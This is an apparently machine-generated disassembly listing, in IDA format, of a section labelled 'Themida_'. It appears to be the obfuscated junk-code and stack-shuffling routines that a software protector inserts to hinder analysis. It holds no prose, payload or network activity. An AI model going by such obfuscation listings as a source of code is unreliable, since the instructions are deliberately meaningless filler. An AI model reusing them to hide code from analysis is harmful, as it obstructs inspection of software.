loc_59A633 ; --------------------------------------------------------------------------- loc_59902D: ; CODE XREF: Themida_:005AC9F7j pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, 23697840h push 7F77h mov [esp], ebp jmp loc_598DF9 ; --------------------------------------------------------------------------- loc_599051: ; CODE XREF: Themida_:0059F18Fj push 16DD70B0h pop edx sub edx, 6D28659Ch xor edx, 5B8646DCh inc edx sub edx, 0DA182DBCh mov edi, edx push dword ptr [esp] jmp loc_5A973A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_599083: ; CODE XREF: Themida_:loc_59B054j jmp loc_59AB9F ; --------------------------------------------------------------------------- loc_599088: ; CODE XREF: Themida_:005AF3DFj xor ebx, edi jmp loc_5A0256 ; --------------------------------------------------------------------------- loc_59908F: ; CODE XREF: Themida_:005A4107j pop esp push ebx jmp loc_59D716 ; --------------------------------------------------------------------------- loc_599096: ; CODE XREF: Themida_:0059F4B0j mov [esp], ecx push 15961E02h jmp loc_5AA2A8 ; --------------------------------------------------------------------------- loc_5990A3: ; CODE XREF: Themida_:0059EC61j pop esp jmp loc_5AF52D ; --------------------------------------------------------------------------- loc_5990A9: ; CODE XREF: Themida_:005A5466j ; Themida_:005A6925j push 5778h mov [esp], ebx push 7368h mov [esp], esi mov esi, 4AC806AFh xor [esp+4], esi mov esi, [esp] add esp, 4 jmp loc_5A6FD2 ; --------------------------------------------------------------------------- loc_5990CD: ; CODE XREF: Themida_:0059C413j push 1768h mov [esp], ecx jmp loc_5A5435 ; --------------------------------------------------------------------------- loc_5990DA: ; CODE XREF: Themida_:0059B6F0j mov [esp], ebp push 3B977D13h mov ebp, [esp] jmp loc_59B718 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] jmp loc_59F870 ; --------------------------------------------------------------------------- loc_5990F2: ; CODE XREF: Themida_:005A0772j add ebp, 4 sub esp, 4 mov [esp], esi mov esi, 0ED7547Dh shr esi, 8 shr esi, 8 jmp loc_5A4275 ; --------------------------------------------------------------------------- loc_59910E: ; CODE XREF: Themida_:0059A203j ; Themida_:005ADB80j add al, 8 jmp loc_59F26D ; --------------------------------------------------------------------------- loc_599115: ; CODE XREF: Themida_:005A8A0Fj mov edi, [esp] add esp, 4 add ebp, 0A43FF4A5h jmp loc_5ABBAC ; --------------------------------------------------------------------------- loc_599129: ; CODE XREF: Themida_:005A0C9Aj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebp push esp pop ebp push ebx mov ebx, 4 add ebp, ebx jmp loc_5A9DA5 ; --------------------------------------------------------------------------- loc_599152: ; CODE XREF: Themida_:005A80CAj jnp loc_59C93F jmp loc_5AE7E3 ; --------------------------------------------------------------------------- pop dword ptr [esp] mov cl, 0D1h loc_599163: ; CODE XREF: Themida_:0059E0CDj mov ebp, ebx pop ebx not ebp shl ebp, 6 jmp loc_59E493 ; --------------------------------------------------------------------------- loc_599170: ; CODE XREF: Themida_:0059B77Bj add dword ptr [esp+4], 2AAD4243h add dword ptr [esp+4], 55F663FAh jmp loc_59AD2C ; --------------------------------------------------------------------------- loc_599185: ; CODE XREF: Themida_:005A6970j add ecx, esi pop esi jmp loc_5ABE99 ; --------------------------------------------------------------------------- loc_59918D: ; CODE XREF: Themida_:005A3189j xor edi, 4EF0A5Fh jno loc_5ABDB9 jmp loc_5ADE27 ; --------------------------------------------------------------------------- push dword ptr [esp+4] pop edx pop ebx loc_5991A4: ; CODE XREF: Themida_:00598F09j xor ecx, ebx jmp loc_599E76 ; --------------------------------------------------------------------------- loc_5991AB: ; CODE XREF: Themida_:005AF116j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 4Ah mov [esp], ecx push edx push 754Dh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_5A74DA ; --------------------------------------------------------------------------- loc_5991D7: ; CODE XREF: Themida_:005A7D79j sub esp, 4 mov [esp], ebx mov ebx, 5D8B7937h xor esi, ebx pop ebx jmp loc_59BE8C ; --------------------------------------------------------------------------- loc_5991ED: ; CODE XREF: Themida_:005A10B6j sub dword ptr [esp+4], 2AB55C1h add [esp+4], ebx jmp loc_59D503 ; --------------------------------------------------------------------------- loc_5991FE: ; CODE XREF: Themida_:005A41F3j add esi, 0DF8AB5EDh mov eax, esi pop esi xor ecx, eax mov eax, [esp] add esp, 4 push dword ptr [esp] pop edi jmp loc_5ACE28 ; --------------------------------------------------------------------------- loc_59921B: ; CODE XREF: Themida_:0059E022j ; Themida_:005A1989j sub cl, 43h pop eax push edx mov dh, 7Bh or dh, 74h jmp loc_5A4726 ; --------------------------------------------------------------------------- loc_59922A: ; CODE XREF: Themida_:005A8FD9j mov [esp], esi push esp pop esi push edi push 70C748C1h jmp loc_59A3E1 ; --------------------------------------------------------------------------- loc_59923A: ; CODE XREF: Themida_:005A91CFj push ebp mov ebp, 4E583F71h inc ebp sub ebp, 1ED87978h jmp loc_59C53F ; --------------------------------------------------------------------------- loc_59924C: ; CODE XREF: Themida_:005A6FFEj xor edx, 0F2336367h jmp loc_59D416 ; --------------------------------------------------------------------------- loc_599257: ; CODE XREF: Themida_:00599B6Aj push edx mov dh, 5Bh xor cl, dh jmp loc_5A5D82 ; --------------------------------------------------------------------------- loc_599261: ; CODE XREF: Themida_:0059CCACj pop esp push ebx mov ebx, 40h sub ebx, 6D660E30h add ebx, edi add ebx, 6D660E30h jmp loc_5A062D ; --------------------------------------------------------------------------- loc_59927B: ; CODE XREF: Themida_:005A9ED9j mov ebp, 4 push eax mov eax, 461A4895h add [esp+8], eax pop eax add [esp+4], ebp jmp loc_5A33AF ; --------------------------------------------------------------------------- loc_599294: ; CODE XREF: Themida_:005A8082j add cl, 0D7h jmp loc_5A4634 ; --------------------------------------------------------------------------- loc_59929C: ; CODE XREF: Themida_:00598573j mov esi, 490C55EEh sub [esp+0Ch], esi pop esi jmp loc_59C57A ; --------------------------------------------------------------------------- loc_5992AB: ; CODE XREF: Themida_:005AAD04j jmp loc_5A929D ; --------------------------------------------------------------------------- loc_5992B0: ; CODE XREF: Themida_:005A6D19j push 77AAh mov [esp], ecx push eax mov eax, esp push esi push eax mov eax, 9B2489Eh mov esi, 917DBE9h sub esi, 0F243AEFh add esi, eax add esi, 0F243AEFh pop eax shr esi, 1 inc esi sub esi, 9651240h push ecx mov ecx, 34942F40h add eax, ecx pop ecx add eax, esi push edi mov edi, 49680F3Bh shr edi, 6 shl edi, 8 add edi, 5B7218Ah sub edi, 1A3A3816h neg edi jmp loc_5AA18A ; --------------------------------------------------------------------------- loc_599309: ; CODE XREF: Themida_:00599006j sub ebp, 5A26685Ch mov edx, [esp] add esp, 4 push eax mov eax, 0F546BECh add eax, 3C292799h add eax, 252977B1h jmp loc_59C51C ; --------------------------------------------------------------------------- loc_59932D: ; CODE XREF: Themida_:005A2C4Cj sub al, 1Bh jmp loc_5A15EC ; --------------------------------------------------------------------------- loc_599334: ; CODE XREF: Themida_:loc_5AF058j xor esi, 22EC2184h mov [edx+30h], esi mov esi, [esp] add esp, 4 jmp loc_5ACD15 ; --------------------------------------------------------------------------- loc_59934B: ; CODE XREF: Themida_:005A889Ej pop ebp add esp, 4 add esp, 4 push 0DCh jmp loc_5A540B ; --------------------------------------------------------------------------- loc_59935F: ; CODE XREF: Themida_:005A0556j xor al, cl mov cx, [esp] push edx push esp pop edx push 6C5Bh mov [esp], edi mov edi, 35F25B1Bh and edi, 15963B18h shr edi, 6 jmp loc_59B5E2 ; --------------------------------------------------------------------------- loc_599383: ; CODE XREF: Themida_:005A1B8Fj add edi, 4 push ebx mov ebx, 4 sub edi, 7EAD62D8h add edi, ebx add edi, 7EAD62D8h pop ebx sub esp, 4 mov [esp], edi jmp loc_59A625 ; --------------------------------------------------------------------------- loc_5993AC: ; CODE XREF: Themida_:005A6646j dec ecx jl loc_59AA63 jmp loc_5A3225 ; --------------------------------------------------------------------------- loc_5993B8: ; CODE XREF: Themida_:005AABE3j pop esp jmp loc_5A3E77 ; --------------------------------------------------------------------------- loc_5993BE: ; CODE XREF: Themida_:005A92C7j mov [esp], edx push esp pop edx push ebp mov ebp, 4 jmp loc_598A64 ; --------------------------------------------------------------------------- loc_5993CE: ; CODE XREF: Themida_:005A32E5j push dword ptr [esp] pop edi push edi mov edi, esp jmp loc_5A3966 ; --------------------------------------------------------------------------- loc_5993DA: ; CODE XREF: Themida_:0059C184j ; Themida_:005A9CB9j add eax, 0E8C9DF37h mov ebp, eax pop eax shr ebp, 5 shr ebp, 5 xor ebp, 593CD059h and esi, ebp mov ebp, [esp] add esp, 4 or esi, 44696261h jbe loc_5AEC18 jmp loc_5AE30F ; --------------------------------------------------------------------------- loc_599407: ; CODE XREF: Themida_:loc_5AE2AEj jmp loc_5A6223 ; --------------------------------------------------------------------------- loc_59940C: ; CODE XREF: Themida_:005A57B6j ; Themida_:loc_5ACE09j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov eax, [esp] add esp, 4 push ecx push 0A4h mov [esp], eax mov ah, 0AAh mov cl, ah mov eax, [esp] add esp, 4 sub cl, 83h sub esp, 2 mov [esp], bx mov bh, 23h jmp loc_59F46F ; --------------------------------------------------------------------------- loc_599449: ; CODE XREF: Themida_:005A6050j pop eax jmp loc_5A0DBE ; --------------------------------------------------------------------------- loc_59944F: ; CODE XREF: Themida_:005A49BFj add bh, 0B1h jnb loc_59FAAC neg bh jmp loc_5A87A3 ; --------------------------------------------------------------------------- loc_59945F: ; CODE XREF: Themida_:005AC0E2j add ecx, edi jmp loc_59C1BE ; --------------------------------------------------------------------------- loc_599466: ; CODE XREF: Themida_:loc_59B4A0j push esi mov esi, 45594DF4h push edi jmp loc_5A0A2F ; --------------------------------------------------------------------------- loc_599472: ; CODE XREF: Themida_:0059AA9Fj push eax mov eax, esp add eax, 4 push edx mov edx, 3ACE3C18h jmp loc_5A3C86 ; --------------------------------------------------------------------------- loc_599485: ; CODE XREF: Themida_:0059E732j mov ebp, [esp] jmp loc_598F7F ; --------------------------------------------------------------------------- loc_59948D: ; CODE XREF: Themida_:005A23CEj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push eax mov eax, 4 add dword ptr [esp+4], 1E7145Ch jmp loc_598EE6 ; --------------------------------------------------------------------------- loc_5994BC: ; CODE XREF: Themida_:005ABC78j push dword ptr [esp] mov eax, [esp] add esp, 4 push 437h mov [esp], esi jmp loc_5AF392 ; --------------------------------------------------------------------------- loc_5994D5: ; CODE XREF: Themida_:005AC5A8j mov [esp], ebx mov ebx, 3CD67B22h jmp loc_59EC71 ; --------------------------------------------------------------------------- loc_5994E2: ; CODE XREF: Themida_:005A4232j xor dh, ch pop ecx add dh, 0C8h push eax mov al, 0F1h push ax not byte ptr [esp] pop ax not al inc al sub al, 0CBh xor dh, al jmp loc_599DD2 ; --------------------------------------------------------------------------- loc_5994FF: ; CODE XREF: Themida_:00598C2Fj add eax, ecx pop ecx mov esi, eax pop eax jmp loc_5AF587 ; --------------------------------------------------------------------------- loc_59950A: ; CODE XREF: Themida_:005A0D49j push ecx mov ch, 0C3h jmp loc_5A007C ; --------------------------------------------------------------------------- loc_599512: ; CODE XREF: Themida_:005A1A21j mov ecx, 68479F6Ch jmp loc_5A83B5 ; --------------------------------------------------------------------------- loc_59951C: ; CODE XREF: Themida_:005A1D89j push edx mov edx, esp add edx, 4 jmp loc_5AF0B6 ; --------------------------------------------------------------------------- loc_59952A: ; CODE XREF: Themida_:005AA656j push dword ptr [esp] pop ebx jmp loc_59FAE1 ; --------------------------------------------------------------------------- loc_599533: ; CODE XREF: Themida_:0059C697j ; Themida_:005A3BCDj add al, dh pop edx neg al ja loc_5A0D40 sub esp, 4 mov [esp], ebx jmp loc_5A391C ; --------------------------------------------------------------------------- loc_59954C: ; CODE XREF: Themida_:005A6889j mov [esp], eax push edi jmp loc_5AB03D ; --------------------------------------------------------------------------- loc_599555: ; CODE XREF: Themida_:005A68A0j add dword ptr [esp+8], 490C55EEh jmp loc_59856E ; --------------------------------------------------------------------------- loc_599562: ; CODE XREF: Themida_:0059F3B0j add ebp, edx pop edx sub ebp, 1EDA5DB0h add ebp, esi add ebp, 1EDA5DB0h sub ebp, 5E5D7C84h pop esi xchg ebp, [esp] mov esp, [esp] jmp loc_5ABBA3 ; --------------------------------------------------------------------------- loc_599585: ; CODE XREF: Themida_:0059E183j sub cl, 38h jg loc_5AB063 or cl, 9Ah jg loc_5A055B shl cl, 2 jmp loc_5A9B0F ; --------------------------------------------------------------------------- loc_59959F: ; CODE XREF: Themida_:005A0A6Cj add edx, 4 push ebp push edi jmp loc_5AD3A7 ; --------------------------------------------------------------------------- loc_5995AC: ; CODE XREF: Themida_:005A4AF6j add [esp+8], esi sub dword ptr [esp+8], 37380686h pop esi jmp loc_5A2C51 ; --------------------------------------------------------------------------- loc_5995BE: ; CODE XREF: Themida_:005A18F8j xor [esp], eax jmp loc_5AD748 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_5ABEDF ; --------------------------------------------------------------------------- loc_5995D6: ; CODE XREF: Themida_:005A1F86j ; Themida_:005A6268j not dword ptr [esp] pop eax jmp loc_5A11A7 ; --------------------------------------------------------------------------- loc_5995DF: ; CODE XREF: Themida_:005A37D3j sub ecx, 764619EDh sub ecx, 17BBC00Bh add esi, ecx pop ecx jmp loc_5996EE ; --------------------------------------------------------------------------- loc_5995F3: ; CODE XREF: Themida_:005A1FB8j jns loc_5AD094 shr ecx, 6 jnp loc_5A08C7 jmp loc_5AD7E7 ; --------------------------------------------------------------------------- loc_599607: ; CODE XREF: Themida_:005A12E8j mov eax, edi jmp loc_5A3850 ; --------------------------------------------------------------------------- loc_59960E: ; CODE XREF: Themida_:005A61FDj mov ecx, 59158CAh inc ecx shr ecx, 6 jmp loc_5A72B0 ; --------------------------------------------------------------------------- loc_59961C: ; CODE XREF: Themida_:0059CDA8j push 164Bh mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push esi jmp loc_5A7CC6 ; --------------------------------------------------------------------------- loc_59963E: ; CODE XREF: Themida_:005AB4CBj push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5A948C ; --------------------------------------------------------------------------- loc_59964F: ; CODE XREF: Themida_:0059EEE0j push 514Fh mov [esp], eax push esp jmp loc_5A1EB4 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp], edx mov dl, 0EFh add al, 50h push small 7EEBh jmp loc_5A89D2 ; --------------------------------------------------------------------------- loc_599676: ; CODE XREF: Themida_:005A0BF8j add dl, 2Eh push ax jmp loc_59AC16 ; --------------------------------------------------------------------------- loc_599680: ; CODE XREF: Themida_:0059868Aj push esi push 5C530B3Ah pop esi dec esi jle loc_59F662 shr esi, 7 jmp loc_5A0B73 ; --------------------------------------------------------------------------- loc_599696: ; CODE XREF: Themida_:0059DCD4j push 5780h mov [esp], ecx mov ecx, 3B8A4A9Fh xor eax, ecx pop ecx push ecx mov ecx, 738252B4h jmp loc_59D904 ; --------------------------------------------------------------------------- loc_5996B1: ; CODE XREF: Themida_:005A2D14j sub edx, 0BC0F3517h sub eax, edx jmp loc_5AC78D ; --------------------------------------------------------------------------- loc_5996BE: ; CODE XREF: Themida_:005A66B6j mov ecx, 1DA0149Dh or ecx, 6D7C1B44h jg loc_5AC67A shl ecx, 2 jz loc_5A7D65 mov dh, al pop edx loc_5996DB: ; CODE XREF: Themida_:005AB24Ej sub bl, 13h push edx push ebx push eax mov ah, 0EDh and ah, 0B9h sub ah, 1Ah jmp loc_5A4BA2 ; --------------------------------------------------------------------------- loc_5996EE: ; CODE XREF: Themida_:005995EEj add edi, esi mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_59B42A ; --------------------------------------------------------------------------- loc_5996FE: ; CODE XREF: Themida_:005ABEDAj sub esp, 4 mov [esp], ebp mov ebp, 0B484921Eh add edx, ebp pop ebp sub ebp, edx pop edx sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5A571E ; --------------------------------------------------------------------------- loc_599725: ; CODE XREF: Themida_:005ACC56j pop edi push edx mov edx, 4 add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp sub eax, ebx add eax, 65DA33CEh mov ebx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push 5A111299h mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_5A9D6A ; --------------------------------------------------------------------------- loc_599776: ; CODE XREF: Themida_:0059BAF4j mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A9F0F ; --------------------------------------------------------------------------- loc_59978D: ; CODE XREF: Themida_:0059FAA7j sub esp, 4 mov [esp], ebp mov ebp, 545EC798h xor edi, ebp jmp loc_5AA768 ; --------------------------------------------------------------------------- loc_5997A2: ; CODE XREF: Themida_:005A6573j neg ebp inc ebp jmp loc_5A4E21 ; --------------------------------------------------------------------------- loc_5997AA: ; CODE XREF: Themida_:005A3E02j mov ecx, 39437B60h or ecx, 77CE48FFh shl ecx, 7 shl ecx, 7 jmp loc_5AE410 ; --------------------------------------------------------------------------- loc_5997C0: ; CODE XREF: Themida_:0059A090j push eax jmp loc_5A5B47 ; --------------------------------------------------------------------------- loc_5997C6: ; CODE XREF: Themida_:0059E559j add edi, eax pop eax push 2DDh mov [esp], edx push ebp jmp loc_5A9028 ; --------------------------------------------------------------------------- loc_5997D7: ; CODE XREF: Themida_:005A6653j not ecx xor ecx, 0DD70576Ah sub esp, 4 mov [esp], eax mov eax, ecx mov edi, eax pop eax mov ecx, [esp] push eax jmp loc_5AA57D ; --------------------------------------------------------------------------- loc_5997F6: ; CODE XREF: Themida_:005A5D7Dj ; Themida_:005A6C9Dj add edi, 2F456041h add edi, ebx sub edi, 2F456041h sub edi, 0F091B94h add edi, 21587F26h jmp loc_5A7B88 ; --------------------------------------------------------------------------- loc_599815: ; CODE XREF: Themida_:005AAF78j push dword ptr [esp] pop ebp add esp, 4 or si, 688Ch shr si, 8 not si sub si, 7640h neg si jmp loc_5A1DAE ; --------------------------------------------------------------------------- loc_599835: ; CODE XREF: Themida_:005AA934j ; Themida_:005ABC9Dj push 0B8Ah jmp loc_5AC2F1 ; --------------------------------------------------------------------------- loc_59983F: ; CODE XREF: Themida_:005A1849j sub edx, 17810C2Fh mov ecx, [esp] add esp, 4 add edx, eax push 0D4h mov [esp], ecx jmp loc_5AF54D ; --------------------------------------------------------------------------- loc_59985D: ; CODE XREF: Themida_:005AEF2Cj mov [esp], eax jmp loc_59B32D ; --------------------------------------------------------------------------- loc_599865: ; CODE XREF: Themida_:005A4866j push 3C35045Eh pop esi push ecx mov ecx, 359F7AAFh dec ecx dec ecx xor ecx, 7E507C10h sub ecx, 3581713Dh jmp loc_5A7DAF ; --------------------------------------------------------------------------- loc_599884: ; CODE XREF: Themida_:005A82C8j push ebx mov ebx, 0F12C8483h add edx, 6C944FB9h add edx, ebx sub edx, 6C944FB9h mov ebx, [esp] jmp loc_5A22F3 ; --------------------------------------------------------------------------- loc_5998A0: ; CODE XREF: Themida_:005A151Fj mov ah, 1Ch or ah, 0D8h jmp loc_5AC0F4 ; --------------------------------------------------------------------------- loc_5998AA: ; CODE XREF: Themida_:005A8754j add ebp, 31627C0Ah jmp loc_5AA2BF ; --------------------------------------------------------------------------- loc_5998B5: ; CODE XREF: Themida_:0059FBBFj sub esp, 4 mov [esp], ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax sub esp, 4 mov [esp], ebx mov ebx, 8846A9Ch mov eax, ebx pop ebx shl eax, 3 sub eax, 44A92B10h jmp loc_59C959 ; --------------------------------------------------------------------------- loc_5998F5: ; CODE XREF: Themida_:005A1B48j mov [esp], ebp mov ebp, 4 add edi, ebp mov ebp, [esp] add esp, 4 add edi, 4 xchg edi, [esp] pop esp push ebp jmp loc_5A8492 ; --------------------------------------------------------------------------- loc_599915: ; CODE XREF: Themida_:005A805Ej sub ebx, 572B46FBh pop ecx sub esp, 4 mov [esp], ecx push eax push ebx mov ebx, 0FAF0EC5h shr ebx, 6 js loc_59BFB6 and ebx, 53D7629h xor ebx, 63F22948h ja loc_5A88F1 add ebx, 504C0EB8h jnb loc_59CADD pop ebx loc_599954: ; CODE XREF: Themida_:0059BB5Aj ; Themida_:005AD95Bj sub esp, 4 mov [esp], ecx jmp loc_59CAB5 ; --------------------------------------------------------------------------- loc_59995F: ; CODE XREF: Themida_:0059BB9Fj mov esp, [esp] jmp loc_5A96DA ; --------------------------------------------------------------------------- loc_599967: ; CODE XREF: Themida_:005ACF55j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 4F82h mov [esp], edx push edi jmp loc_59A65B ; --------------------------------------------------------------------------- loc_599982: ; CODE XREF: Themida_:005A67A6j add eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A264A ; --------------------------------------------------------------------------- loc_599993: ; CODE XREF: Themida_:005ADEDFj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax push 5E2Ah push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_59EE6A ; --------------------------------------------------------------------------- loc_5999B3: ; CODE XREF: Themida_:005AE805j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5999B8: ; CODE XREF: Themida_:005AEF65j pop edx push eax jmp loc_5A1FF5 ; --------------------------------------------------------------------------- loc_5999BF: ; CODE XREF: Themida_:005AD23Fj or edx, ebx pop ebx dec edx sub edx, 8661653h push ebp jmp loc_5A8397 ; --------------------------------------------------------------------------- loc_5999CF: ; CODE XREF: Themida_:005A3F04j mov esi, 4 add ecx, esi jmp loc_5A6F6D ; --------------------------------------------------------------------------- loc_5999DB: ; CODE XREF: Themida_:005AB2D6j sub edi, 5BC10712h add edi, edx add edi, 5BC10712h pop edx sub edi, 2 xchg edi, [esp] pop esp mov [esp], dx mov dh, 54h sub esp, 4 jmp loc_5A615D ; --------------------------------------------------------------------------- loc_599A02: ; CODE XREF: Themida_:00598D75j jmp loc_59E269 ; --------------------------------------------------------------------------- loc_599A07: ; CODE XREF: Themida_:005AAA0Fj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp add esp, 4 shl dword ptr [esp], cl jmp loc_59838C ; --------------------------------------------------------------------------- loc_599A1C: ; CODE XREF: Themida_:005A87ABj pop ebp jmp loc_59DF2A ; --------------------------------------------------------------------------- loc_599A22: ; CODE XREF: Themida_:0059AE75j push ecx jmp loc_5AB652 ; --------------------------------------------------------------------------- loc_599A28: ; CODE XREF: Themida_:005A3796j mov esp, [esp] jmp loc_59D05E ; --------------------------------------------------------------------------- loc_599A30: ; CODE XREF: Themida_:0059ADBCj ; Themida_:005ADED3j push ecx jmp loc_5AA83D ; --------------------------------------------------------------------------- loc_599A36: ; CODE XREF: Themida_:005AE84Fj push 73CC039Ah jmp loc_5A62AC ; --------------------------------------------------------------------------- loc_599A40: ; CODE XREF: Themida_:005A8546j xor ebp, ecx jmp loc_5A9BA8 ; --------------------------------------------------------------------------- loc_599A47: ; CODE XREF: Themida_:0059FB1Bj push ecx mov ecx, 6D1D16D4h jmp loc_5A9577 ; --------------------------------------------------------------------------- push 6322h mov [esp], ebx mov ebx, 208D14AAh xor ebx, 0DF72EF55h and [edi+1Ch], ebx push dword ptr [esp] jmp loc_5AA273 ; --------------------------------------------------------------------------- loc_599A70: ; CODE XREF: Themida_:0059BCB8j add esp, 4 jmp loc_5A939D ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_59DBE5 ; --------------------------------------------------------------------------- loc_599A80: ; CODE XREF: Themida_:005ADFD9j or edx, 2D724B8Fh xor edx, 0BF7AFFEDh mov ebp, edx mov edx, [esp] add esp, 4 push esi push 42FC1D03h pop esi sub eax, esi mov esi, [esp] add esp, 4 add eax, ebp add eax, 42FC1D03h push dword ptr [esp] jmp loc_5A2E06 ; --------------------------------------------------------------------------- loc_599AB5: ; CODE XREF: Themida_:005A61B0j xor dl, al mov ax, [esp] jmp loc_5A7D7E ; --------------------------------------------------------------------------- loc_599AC0: ; CODE XREF: Themida_:005A1908j mov ecx, 7F014AB4h add ebx, ecx jmp loc_5A4903 ; --------------------------------------------------------------------------- loc_599ACC: ; CODE XREF: Themida_:0059F8DEj ; Themida_:loc_5A6E7Aj push edi push esp pop edi push edx push ebp jmp loc_59C9ED ; --------------------------------------------------------------------------- loc_599AD6: ; CODE XREF: Themida_:005A80A2j and ebx, 483A0113h js loc_5A8745 shr ebx, 2 jmp loc_5988E9 ; --------------------------------------------------------------------------- loc_599AEA: ; CODE XREF: Themida_:005A90ECj mov ch, 5Ch xor ch, 0D9h jmp loc_5A84C0 ; --------------------------------------------------------------------------- loc_599AF4: ; CODE XREF: Themida_:005A159Dj neg eax sub eax, 791679B2h neg eax sub eax, 5B0F5775h or esi, eax pop eax jmp loc_5AB253 ; --------------------------------------------------------------------------- loc_599B0A: ; CODE XREF: Themida_:0059EC6Cj mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push eax jmp loc_5A463B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5A9857 ; --------------------------------------------------------------------------- loc_599B23: ; CODE XREF: Themida_:0059E246j ; Themida_:005A708Fj add eax, 60503D8Ah push ebp jmp loc_5A28EE ; --------------------------------------------------------------------------- loc_599B2E: ; CODE XREF: Themida_:005AED26j mov ebp, [esp] add esp, 4 push edi mov edi, 29EE1B6Fh shl edi, 6 jmp loc_5ABDDF ; --------------------------------------------------------------------------- loc_599B42: ; CODE XREF: Themida_:005AD82Dj shr ch, 5 jz loc_5AC6A9 neg ch jle loc_5A196B jmp loc_5A6194 ; --------------------------------------------------------------------------- xor al, bl pop ebx push ecx push edx pop esp loc_599B5E: ; CODE XREF: Themida_:005A0AFCj ; Themida_:005A6225j pop eax push edx mov dl, 27h jmp loc_5A3360 ; --------------------------------------------------------------------------- loc_599B67: ; CODE XREF: Themida_:005983AEj sub cl, 0D5h jl loc_599257 push edx mov dh, 5Bh xor cl, dh pop edx not cl jmp loc_5ABC8B ; --------------------------------------------------------------------------- loc_599B7D: ; CODE XREF: Themida_:005A1309j push edx mov dl, 0F1h neg dl jnz loc_59EACA neg dl jz loc_5AB2BA and dl, 0A8h sub dl, 0D6h pop esp loc_599B97: ; CODE XREF: Themida_:00598EE1j mov [esp], ebx mov ebx, 1Ch sub ebx, 3AAA4A2Eh sub ebx, 7CCB1703h sub ebx, 46717B66h sub ebx, 446D390Fh add ebx, edi add ebx, 446D390Fh add ebx, 46717B66h push eax mov eax, 23231F6Ah sub eax, 72A501F1h jmp loc_5A19F7 ; --------------------------------------------------------------------------- loc_599BD5: ; CODE XREF: Themida_:loc_5AA078j xor ebx, 60763E99h mov ebp, ebx jmp loc_5A52C5 ; --------------------------------------------------------------------------- loc_599BE2: ; CODE XREF: Themida_:005A9D7Aj add eax, edx jmp loc_5A426A ; --------------------------------------------------------------------------- loc_599BE9: ; CODE XREF: Themida_:0059EA8Cj pop eax pop dword ptr [esp] pop esp mov [esp], esi mov esi, esp push ecx push edi push 261F0E8Eh jmp loc_5A4280 ; --------------------------------------------------------------------------- loc_599BFF: ; CODE XREF: Themida_:005A46AFj sub ebp, ebx add ebp, 4D5319CFh pop ebx xchg ebp, [esp] pop esp mov [esp], esi push 76073252h mov esi, [esp] jmp loc_5A81B7 ; --------------------------------------------------------------------------- loc_599C1C: ; CODE XREF: Themida_:005A647Fj mov edx, 5B837635h sub esi, edx pop edx add ebx, esi pop esi jmp loc_59BBD2 ; --------------------------------------------------------------------------- loc_599C2C: ; CODE XREF: Themida_:0059FBD1j push esp pop eax sub esp, 4 mov [esp], edi push eax push 0B5A1E32h pop eax xor eax, 0B5A1E36h mov edi, eax pop eax add eax, 459D300Eh add eax, edi sub eax, 459D300Eh jmp loc_5A35AF ; --------------------------------------------------------------------------- loc_599C57: ; CODE XREF: Themida_:005AE75Aj add esi, edx add esi, 1305770Ch pop edx or esi, 4B805DB1h jg loc_5AB63B shr esi, 7 jnp loc_599EF6 add esi, 210C7189h and dh, 8 push eax loc_599C7F: ; CODE XREF: Themida_:0059A243j pop ebp add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 59956E54h push esi jmp loc_5984CE ; --------------------------------------------------------------------------- loc_599C97: ; CODE XREF: Themida_:005A5C88j push edi mov edi, 9F63B7C2h push edx mov edx, 11256995h sub ebx, edx pop edx sub ebx, 6C8F6F5Ch add ebx, edi add ebx, 6C8F6F5Ch add ebx, 11256995h mov edi, [esp] add esp, 4 jmp loc_5A733F ; --------------------------------------------------------------------------- loc_599CC8: ; CODE XREF: Themida_:005AB78Cj push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push 7E3Ah mov [esp], edx push 7E5Ch mov [esp], edi mov edi, 2C8B1A13h jmp loc_5A5F6F ; --------------------------------------------------------------------------- loc_599CF1: ; CODE XREF: Themida_:005A1E30j pop edi and edx, 120942FFh jmp loc_5AB79B ; --------------------------------------------------------------------------- loc_599CFD: ; CODE XREF: Themida_:005AB80Dj push ebx push edx mov dh, 57h xor dh, 60h jns loc_5AE707 or dh, 7Eh jmp loc_5A69D8 ; --------------------------------------------------------------------------- mov esi, 46E03866h push ebx loc_599D18: ; CODE XREF: Themida_:005AEE5Ej add eax, 71412064h jnb loc_5AB984 